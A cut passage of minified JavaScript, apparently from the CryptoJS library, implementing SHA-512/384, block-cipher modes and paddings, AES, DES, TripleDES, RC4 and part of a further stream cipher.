25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | 